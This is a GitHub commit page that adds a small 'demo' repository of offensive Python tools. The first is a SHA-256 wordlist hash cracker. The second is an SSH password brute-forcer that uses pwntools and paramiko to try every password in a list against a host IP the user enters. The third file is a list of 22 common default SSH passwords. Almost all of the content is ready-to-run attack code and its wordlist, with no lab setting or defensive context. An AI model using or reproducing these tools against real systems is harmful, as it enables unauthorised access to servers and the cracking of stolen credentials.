Skip to content

Commit 81a57e9

Browse files
rootroot
root
authored and
root
committed
first commit
0 parents  commit 81a57e9

4 files changed

+68
-0
lines changed

README.md

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# Python-Demo-Projects

sha256-password-cracker.py

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
from pwn import *
2+
import sys
3+
4+
if len(sys.argv) !=3:
5+
print("Invalid arguments!")
6+
print(">> {} <sha256sum> /path/to/password.txt".format(sys.argv[0]))
7+
exit()
8+
9+
wanted_hash = sys.argv[1]
10+
pasword_file = sys.argv[2]
11+
attempts = 0
12+
13+
with log.progress("Attempting to back: {}!\n".format(sys.argv[0])) as p:
14+
with open(pasword_file, "r", encoding='latin-1') as password_list:
15+
for password in password_list:
16+
password = password.strip("\n").encode('latin-1')
17+
password_hash = sha256sumhex(password)
18+
p.status("[{}] {} == {}".format(attempts, password.decode('latin-1'), password_hash))
19+
if password_hash == wanted_hash:
20+
p.success("[>] Password hash found after {} attempts!\n [>] Password = {}\n [>] Hash = {}".format(attempts, password.decode('latin-1'), password_hash))
21+
exit()
22+
attempts += 1
23+
p.failure("Password hash not found!")

ssh-pass-brutefoce-demo.py

+22
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
from pwn import *
2+
import paramiko
3+
4+
host = input("[>] Enter the Host IP: ")
5+
username = input("[>] Enter the user: ")
6+
password_file_path = input("[>] Enter the path to the password file: ")
7+
attempts = 0
8+
9+
with open(password_file_path, "r") as password_list:
10+
for password in password_list:
11+
password = password.strip("\n")
12+
try:
13+
print("[{}] Attempting password: '{}'!".format(attempts, password))
14+
response = ssh(host=host, username=username, password=password, timeout=1)
15+
if response.connected():
16+
print("[>] Valid password found: '{}'!".format(password))
17+
response.close()
18+
break
19+
response.close()
20+
except paramiko.ssh_exception.AuthenticationException:
21+
print("[>] Invalid password !")
22+
attempts += 1

top-20-common-SSH-passwords.txt

+22
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
root
2+
toor
3+
raspberry
4+
dietpi
5+
test
6+
uploader
7+
password
8+
admin
9+
administrator
10+
marketing
11+
12345678
12+
1234
13+
12345
14+
qwerty
15+
webadmin
16+
webmaster
17+
maintenance
18+
techsupport
19+
letmein
20+
logon
21+
Passw@rd
22+
alpine

0 commit comments

Comments
 (0)